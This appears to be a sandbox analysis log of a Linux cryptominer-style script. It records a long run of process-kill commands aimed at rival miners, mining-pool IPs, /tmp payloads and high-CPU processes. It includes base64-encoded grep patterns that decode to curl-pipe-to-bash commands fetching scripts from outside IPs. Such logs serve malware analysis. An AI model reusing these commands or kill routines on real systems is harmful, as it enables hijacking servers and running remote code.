/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:1036
-
-
/bin/grepgrep -v grep2⤵PID:1035
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1038
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1037
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1034
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1044
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1043
-
-
/bin/grepgrep 45.76.122.922⤵PID:1042
-
-
/bin/grepgrep -v grep2⤵PID:1041
-
-
/bin/psps aux2⤵PID:1040
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1051
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1050
-
-
/bin/grepgrep 51.38.191.1782⤵PID:1049
-
-
/bin/grepgrep -v grep2⤵PID:1048
-
-
/bin/psps aux2⤵PID:1047
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1058
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1057
-
-
/bin/grepgrep 51.15.56.1612⤵PID:1056
-
-
/bin/grepgrep -v grep2⤵PID:1055
-
-
/bin/psps aux2⤵PID:1054
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1066
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1065
-
-
/bin/grepgrep 86s.jpg2⤵PID:1064
-
-
/bin/grepgrep -v grep2⤵PID:1063
-
-
/bin/psps aux2⤵PID:1062
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1073
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1072
-
-
/bin/grepgrep aGTSGJJp2⤵PID:1071
-
-
/bin/grepgrep -v grep2⤵PID:1070
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1069
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1078
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1077
-
-
/bin/grepgrep nMrfmnRa2⤵PID:1076
-
-
/bin/grepgrep -v grep2⤵PID:1075
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1074
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1085
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1084
-
-
/bin/grepgrep PuNY5tm22⤵PID:1083
-
-
/bin/grepgrep -v grep2⤵PID:1082
-
-
/bin/psps aux2⤵PID:1081
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1092
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1091
-
-
/bin/grepgrep I0r8Jyyt2⤵PID:1090
-
-
/bin/grepgrep -v grep2⤵PID:1089
-
-
/bin/psps aux2⤵PID:1088
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1097
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1096
-
-
/bin/grepgrep AgdgACUD2⤵PID:1095
-
-
/bin/grepgrep -v grep2⤵PID:1094
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1093
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1104
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1103
-
-
/bin/grepgrep uiZvwxG82⤵PID:1102
-
-
/bin/grepgrep -v grep2⤵PID:1101
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1100
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1111
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1110
-
-
/bin/grepgrep hahwNEdB2⤵PID:1109
-
-
/bin/grepgrep -v grep2⤵PID:1108
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1107
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1117
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1116
-
-
/bin/grepgrep BtwXn5qH2⤵PID:1115
-
-
/bin/grepgrep -v grep2⤵PID:1114
-
-
/bin/psps aux2⤵PID:1113
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1124
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1123
-
-
/bin/grepgrep 3XEzey2T2⤵PID:1122
-
-
/bin/grepgrep -v grep2⤵PID:1121
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1120
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1132
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1131
-
-
/bin/grepgrep t2tKrCSZ2⤵PID:1130
-
-
/bin/grepgrep -v grep2⤵PID:1129
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1128
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1140
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1139
-
-
/bin/grepgrep HD7fcBgg2⤵PID:1138
-
-
/bin/grepgrep -v grep2⤵PID:1137
-
-
/bin/psps aux2⤵PID:1136
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1148
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1147
-
-
/bin/grepgrep zXcDajSs2⤵PID:1146
-
-
/bin/grepgrep -v grep2⤵PID:1145
-
-
/bin/psps aux2⤵PID:1144
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1155
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1154
-
-
/bin/grepgrep 3lmigMo2⤵PID:1153
-
-
/bin/grepgrep -v grep2⤵PID:1152
-
-
/bin/psps aux2⤵PID:1151
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1160
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1159
-
-
/bin/grepgrep AkMK4A22⤵PID:1158
-
-
/bin/grepgrep -v grep2⤵PID:1157
-
-
/bin/psps aux2⤵PID:1156
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1168
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1167
-
-
/bin/grepgrep AJ2AkKe2⤵PID:1166
-
-
/bin/grepgrep -v grep2⤵PID:1165
-
-
/bin/psps aux2⤵PID:1164
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1173
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1172
-
-
/bin/grepgrep HiPxCJRS2⤵PID:1171
-
-
/bin/grepgrep -v grep2⤵PID:1170
-
-
/bin/psps aux2⤵PID:1169
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1179
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1178
-
-
/bin/grepgrep http_0xCC0302⤵PID:1177
-
-
/bin/grepgrep -v grep2⤵PID:1176
-
-
/bin/psps aux2⤵PID:1175
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1184
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1183
-
-
/bin/grepgrep http_0xCC0312⤵PID:1182
-
-
/bin/grepgrep -v grep2⤵PID:1181
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1180
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1190
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1189
-
-
/bin/grepgrep http_0xCC0322⤵PID:1188
-
-
/bin/grepgrep -v grep2⤵PID:1187
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1186
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1195
-
-
/bin/grepgrep http_0xCC0332⤵PID:1193
-
-
/bin/grepgrep -v grep2⤵PID:1192
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1191
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1194
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1200
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1199
-
-
/bin/grepgrep C4iLM4L2⤵PID:1198
-
-
/bin/grepgrep -v grep2⤵PID:1197
-
-
/bin/psps aux2⤵PID:1196
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1205
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1204
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:1203
-
-
/bin/grepgrep -v grep2⤵PID:1202
-
-
/bin/psps aux2⤵PID:1201
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1209
-
-
/bin/grepgrep -v grep2⤵PID:1207
-
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵PID:1208
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1206
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1214
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1213
-
-
/bin/grepgrep /boot/vmlinuz2⤵PID:1212
-
-
/bin/grepgrep -v grep2⤵PID:1211
-
-
/bin/psps aux2⤵PID:1210
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1219
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1218
-
-
/bin/grepgrep i4b503a52cc52⤵PID:1217
-
-
/bin/grepgrep -v grep2⤵PID:1216
-
-
/bin/psps aux2⤵PID:1215
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1224
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1223
-
-
/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵PID:1222
-
-
/bin/grepgrep -v grep2⤵PID:1221
-
-
/bin/psps aux2⤵PID:1220
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1229
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1228
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵PID:1227
-
-
/bin/grepgrep -v grep2⤵PID:1226
-
-
/bin/psps aux2⤵PID:1225
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1234
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1233
-
-
/bin/grepgrep nqscheduler2⤵PID:1232
-
-
/bin/grepgrep -v grep2⤵PID:1231
-
-
/bin/psps aux2⤵PID:1230
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1239
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1238
-
-
/bin/grepgrep rkebbwgqpl4npmm2⤵PID:1237
-
-
/bin/grepgrep -v grep2⤵PID:1236
-
-
/bin/psps aux2⤵PID:1235
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1245
-
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵PID:1244
-
-
/bin/grepgrep "]"2⤵PID:1243
-
-
/bin/grepgrep -v aux2⤵PID:1242
-
-
/bin/grepgrep -v grep2⤵PID:1241
-
-
/bin/psps aux2⤵PID:1240
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1250
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1249
-
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵PID:1248
-
-
/bin/grepgrep -v grep2⤵PID:1247
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1246
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1255
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1254
-
-
/bin/grepgrep 0kwti6ut420t2⤵PID:1253
-
-
/bin/grepgrep -v grep2⤵PID:1252
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1251
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1260
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1259
-
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵PID:1258
-
-
/bin/grepgrep -v grep2⤵PID:1257
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1256
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1267
-
-
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵PID:1266
-
-
/bin/grepgrep -v _2⤵PID:1265
-
-
/bin/grepgrep -v -2⤵PID:1264
-
-
/bin/grepgrep -v /2⤵PID:1263
-
-
/bin/grepgrep -v grep2⤵PID:1262
-
-
/bin/psps aux2⤵PID:1261
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1272
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1271
-
-
/bin/grepgrep "\\[^"2⤵PID:1270
-
-
/bin/grepgrep -v grep2⤵PID:1269
-
-
/bin/psps aux2⤵PID:1268
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1277
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1276
-
-
/bin/grepgrep rsync2⤵PID:1275
-
-
/bin/grepgrep -v grep2⤵PID:1274
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1273
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1282
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1281
-
-
/bin/grepgrep watchd0g2⤵PID:1280
-
-
/bin/grepgrep -v grep2⤵PID:1279
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1278
-
-
/bin/grepgrep -v grep2⤵PID:1284
-
-
/bin/psps aux2⤵PID:1283
-
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1285
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1287
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1286
-
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1285
-
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1285
-
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1285
-
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1285
-
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1285
-
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1285
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1292
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1291
-
-
/bin/grepgrep 158.69.133.18:82202⤵PID:1290
-
-
/bin/grepgrep -v grep2⤵PID:1289
-
-
/bin/psps aux2⤵PID:1288
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1297
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1296
-
-
/bin/grepgrep /tmp/java2⤵PID:1295
-
-
/bin/grepgrep -v grep2⤵PID:1294
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1293
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1302
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1301
-
-
/bin/grepgrep gitee.com2⤵PID:1300
-
-
/bin/grepgrep -v grep2⤵PID:1299
-
-
/bin/psps aux2⤵PID:1298
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1307
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1306
-
-
/bin/grepgrep /tmp/java2⤵PID:1305
-
-
/bin/grepgrep -v grep2⤵PID:1304
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1303
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1312
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1311
-
-
/bin/grepgrep 104.248.4.1622⤵PID:1310
-
-
/bin/grepgrep -v grep2⤵PID:1309
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1308
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1317
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1316
-
-
/bin/grepgrep 89.35.39.782⤵PID:1315
-
-
/bin/grepgrep -v grep2⤵PID:1314
-
-
/bin/psps aux2⤵PID:1313
-
-
/bin/grepgrep /dev/shm/z3.sh2⤵PID:1320
-
-
/bin/grepgrep -v grep2⤵PID:1319
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1321
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1322
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1318
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1327
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1326
-
-
/bin/grepgrep kthrotlds2⤵PID:1325
-
-
/bin/grepgrep -v grep2⤵PID:1324
-
-
/bin/psps aux2⤵PID:1323
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1332
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1331
-
-
/bin/grepgrep ksoftirqds2⤵PID:1330
-
-
/bin/grepgrep -v grep2⤵PID:1329
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1328
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1337
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1336
-
-
/bin/grepgrep netdns2⤵PID:1335
-
-
/bin/grepgrep -v grep2⤵PID:1334
-
-
/bin/psps aux2⤵PID:1333
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1342
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1341
-
-
/bin/grepgrep watchdogs2⤵PID:1340
-
-
/bin/grepgrep -v grep2⤵PID:1339
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1338
-
-
/bin/grepgrep -v kdevtmpfsi2⤵PID:1351
-
-
/bin/grepgrep -v apache22⤵PID:1349
-
-
/bin/grepgrep -v atd2⤵PID:1350
-
-
/bin/grepgrep -v postgresq12⤵PID:1352
-
-
/bin/grepgrep -v dblaunched2⤵PID:1348
-
-
/bin/grepgrep -v dblaunchs2⤵PID:1347
-
-
/bin/grepgrep -v dblaunch2⤵PID:1346
-
-
/usr/bin/awkawk "\$3>80.0{print \$2}"2⤵PID:1353
-
-
/bin/grepgrep -v root2⤵PID:1345
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1354
-
-
/bin/grepgrep -v grep2⤵PID:1344
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1343
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1361
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1360
-
-
/bin/grepgrep " ps"2⤵PID:1359
-
-
/bin/grepgrep -v aux2⤵PID:1358
-
-
/bin/grepgrep -v grep2⤵PID:1357
-
-
/bin/psps aux2⤵PID:1356
-
-
/bin/grepgrep sync_supers2⤵PID:1365
-
-
/bin/grepgrep -v grep2⤵PID:1364
-
-
/bin/psps aux2⤵PID:1363
-
-
/usr/bin/cutcut -c 9-152⤵PID:1366
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1367
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1374
-
-
/usr/bin/cutcut -c 9-152⤵PID:1373
-
-
/bin/grepgrep cpuset2⤵PID:1372
-
-
/bin/grepgrep -v grep2⤵PID:1371
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1370
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1380
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1379
-
-
/bin/grepgrep "x]"2⤵PID:1378
-
-
/bin/grepgrep -v aux2⤵PID:1377
-
-
/bin/grepgrep -v grep2⤵PID:1376
-
-
/bin/psps aux2⤵PID:1375
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1388
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1387
-
-
/bin/grepgrep "sh] <"2⤵PID:1386
-
-
/bin/grepgrep -v aux2⤵PID:1385
-
-
/bin/grepgrep -v grep2⤵PID:1384
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1383
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1396
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1395
-
-
/bin/grepgrep " \\[]"2⤵PID:1394
-
-
/bin/grepgrep -v aux2⤵PID:1393
-
-
/bin/grepgrep -v grep2⤵PID:1392
-
-
/bin/psps aux2⤵PID:1391
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1402
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1401
-
-
/bin/grepgrep /tmp/l.sh2⤵PID:1400
-
-
/bin/grepgrep -v grep2⤵PID:1399
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1398
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1408
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1407
-
-
/bin/grepgrep /tmp/zmcat2⤵PID:1406
-
-
/bin/grepgrep -v grep2⤵PID:1405
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1404
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1415
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1414
-
-
/bin/grepgrep hahwNEdB2⤵PID:1413
-
-
/bin/grepgrep -v grep2⤵PID:1412
-
-
/bin/psps aux2⤵PID:1411
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1422
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1421
-
-
/bin/grepgrep CnzFVPLF2⤵PID:1420
-
-
/bin/grepgrep -v grep2⤵PID:1419
-
-
/bin/psps aux2⤵PID:1418
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1428
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1427
-
-
/bin/grepgrep CvKzzZLs2⤵PID:1426
-
-
/bin/grepgrep -v grep2⤵PID:1425
-
-
/bin/psps aux2⤵PID:1424
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1434
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1433
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:1432
-
-
/bin/grepgrep -v grep2⤵PID:1431
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1430
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1441
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1440
-
-
/bin/grepgrep /tmp/udevd2⤵PID:1439
-
-
/bin/grepgrep -v grep2⤵PID:1438
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1437
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1448
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1447
-
-
/bin/grepgrep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA2⤵PID:1446
-
-
/bin/grepgrep -v grep2⤵PID:1445
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1444
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1454
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1453
-
-
/bin/grepgrep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo2⤵PID:1452
-
-
/bin/grepgrep -v grep2⤵PID:1451
-
-
/bin/psps aux2⤵PID:1450
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1461
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1460
-
-
/bin/grepgrep sustse2⤵PID:1459
-
-
/bin/grepgrep -v grep2⤵PID:1458
-
-
/bin/psps aux2⤵PID:1457
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1467
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1466
-
-
/bin/grepgrep sustse32⤵PID:1465
-
-
/bin/grepgrep -v grep2⤵PID:1464
-
-
/bin/psps aux2⤵PID:1463
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1475
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1474
-
-
/bin/grepgrep wget2⤵PID:1473
-
-
/bin/grepgrep mr.sh2⤵PID:1472
-
-
/bin/grepgrep -v grep2⤵PID:1471
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1470
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1483
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1482
-
-
/bin/grepgrep curl2⤵PID:1481
-
-
/bin/grepgrep mr.sh2⤵PID:1480
-
-
/bin/grepgrep -v grep2⤵PID:1479
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1478
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1490
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1489
-
-
/bin/grepgrep wget2⤵PID:1488
-
-
/bin/grepgrep 2mr.sh2⤵PID:1487
-
-
/bin/grepgrep -v grep2⤵PID:1486
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1485
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1496
-
-
/bin/grepgrep curl2⤵PID:1495
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1497
-
-
/bin/grepgrep 2mr.sh2⤵PID:1494
-
-
/bin/grepgrep -v grep2⤵PID:1493
-
-
/bin/psps aux2⤵PID:1492
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1503
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1502
-
-
/bin/grepgrep wget2⤵PID:1501
-
-
/bin/grepgrep cr5.sh2⤵PID:1500
-
-
/bin/grepgrep -v grep2⤵PID:1499
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1498
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1509
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1508
-
-
/bin/grepgrep curl2⤵PID:1507
-
-
/bin/grepgrep cr5.sh2⤵PID:1506
-
-
/bin/grepgrep -v grep2⤵PID:1505
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1504
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1515
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1514
-
-
/bin/grepgrep wget2⤵PID:1513
-
-
/bin/grepgrep logo9.jpg2⤵PID:1512
-
-
/bin/grepgrep -v grep2⤵PID:1511
-
-
/bin/psps aux2⤵PID:1510
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1521
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1520
-
-
/bin/grepgrep curl2⤵PID:1519
-
-
/bin/grepgrep logo9.jpg2⤵PID:1518
-
-
/bin/grepgrep -v grep2⤵PID:1517
-
-
/bin/psps aux2⤵PID:1516
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1526
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1525
-
-
/bin/grepgrep j2.conf2⤵PID:1524
-
-
/bin/grepgrep -v grep2⤵PID:1523
-
-
/bin/psps aux2⤵PID:1522
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1532
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1531
-
-
/bin/grepgrep wget2⤵PID:1530
-
-
/bin/grepgrep luk-cpu2⤵PID:1529
-
-
/bin/grepgrep -v grep2⤵PID:1528
-
-
/bin/psps aux2⤵PID:1527
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1538
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1537
-
-
/bin/grepgrep curl2⤵PID:1536
-
-
/bin/grepgrep luk-cpu2⤵PID:1535
-
-
/bin/grepgrep -v grep2⤵PID:1534
-
-
/bin/psps aux2⤵PID:1533
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1544
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1543
-
-
/bin/grepgrep wget2⤵PID:1542
-
-
/bin/grepgrep ficov2⤵PID:1541
-
-
/bin/grepgrep -v grep2⤵PID:1540
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1539
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1550
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1549
-
-
/bin/grepgrep curl2⤵PID:1548
-
-
/bin/grepgrep ficov2⤵PID:1547
-
-
/bin/grepgrep -v grep2⤵PID:1546
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1545
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1556
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1555
-
-
